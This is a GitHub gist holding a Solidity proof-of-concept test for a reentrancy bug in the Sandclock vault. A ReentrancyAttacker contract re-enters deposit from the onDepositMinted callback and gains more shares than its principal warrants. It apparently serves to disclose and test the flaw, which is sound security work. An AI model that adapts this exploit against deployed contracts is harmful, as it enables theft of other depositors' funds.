-
-
Save CamdenClark/abc67bc1b387c15600549f6dfd5cb27a to your computer and use it in GitHub Desktop.
Sandclock Reentrancy Bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity 0.8.10; | |
import "ds-test/test.sol"; | |
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; | |
import "../Vault.sol"; | |
import "../vault/IVault.sol"; | |
import "../mock/MockERC20.sol"; | |
import "../integrations/IIntegration.sol"; | |
contract ReentrancyAttacker is DSTest, IIntegration, IERC721Receiver { | |
IERC20 ust; | |
Vault vault; | |
bool reentered = false; | |
constructor(Vault _vault, IERC20 _ust) { | |
vault = _vault; | |
ust = _ust; | |
} | |
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) { | |
return IERC721Receiver.onERC721Received.selector; | |
} | |
function supportsInterface(bytes4 interfaceID) external view returns (bool) { | |
if (interfaceID == 0x01ffc9a7 || interfaceID == 0x62035b9c) { return true; } | |
return false; | |
} | |
function onDepositMinted( | |
uint256 _depositID, | |
uint256 _shares, | |
bytes memory _data | |
) external returns (bytes4) { | |
// When this is called, the vault's deposit function will be mid-execution | |
// There are two important things about the callstack: | |
// 1. The shares for the claims have already been minted | |
// 2. We haven't transfered any UST yet, so the balance of the vault doesn't reflect that deposit | |
// This means that our re-entrant deposit call below will be computed | |
// as if there are 200 * 10^18 shares, but still only 100 ether UST in the pool. | |
// This will make it so our deposit will add 200 * 10^18 shares to our claim, instead of | |
// 100 * 10^18 shares as expected. | |
if (!reentered) { | |
reentered = true; | |
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1); | |
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""}); | |
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100})); | |
} | |
return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)")); | |
} | |
function onDepositBurned(uint256 _depositID) external returns (bytes4) { | |
return bytes4(keccak256("onDepositBurned(uint256)")); | |
} | |
function attack() public { | |
ust.approve(address(vault), 200 ether); | |
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1); | |
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""}); | |
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100})); | |
// We kick off an initial deposit of 100 ether. | |
// Inside of the deposit call chain, we get a callback to onDepositeMinted | |
} | |
} | |
contract ReentrancyTest is DSTest, IERC721Receiver { | |
IERC20 ust = new MockERC20(100000 ether); | |
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) { | |
return IERC721Receiver.onERC721Received.selector; | |
} | |
function setUp() public { } | |
function testReentrancy() public { | |
Vault vault = new Vault(ust, 100, 0, address(this)); | |
ust.transfer(address(this), 100 ether); | |
ust.approve(address(vault), 100 ether); | |
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1); | |
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""}); | |
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100})); | |
// Above, we set up a vault with 100 ether amount of UST. | |
// We then send 200 ether to the attacker, and kick off the attack. | |
ReentrancyAttacker attacker = new ReentrancyAttacker(vault, ust); | |
ust.transfer(address(attacker), 200 ether); | |
attacker.attack(); | |
// Now, we see that we have 2/3rds of the principal, but 3/4ths of the shares | |
// That's not very fair! | |
uint256 tokenId = vault.claimers().addressToTokenID(address(attacker)); | |
require(vault.claimers().principalOf(tokenId) == 200 ether); | |
require(vault.claimers().sharesOf(tokenId) == 300 ether * (10 ** 18)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment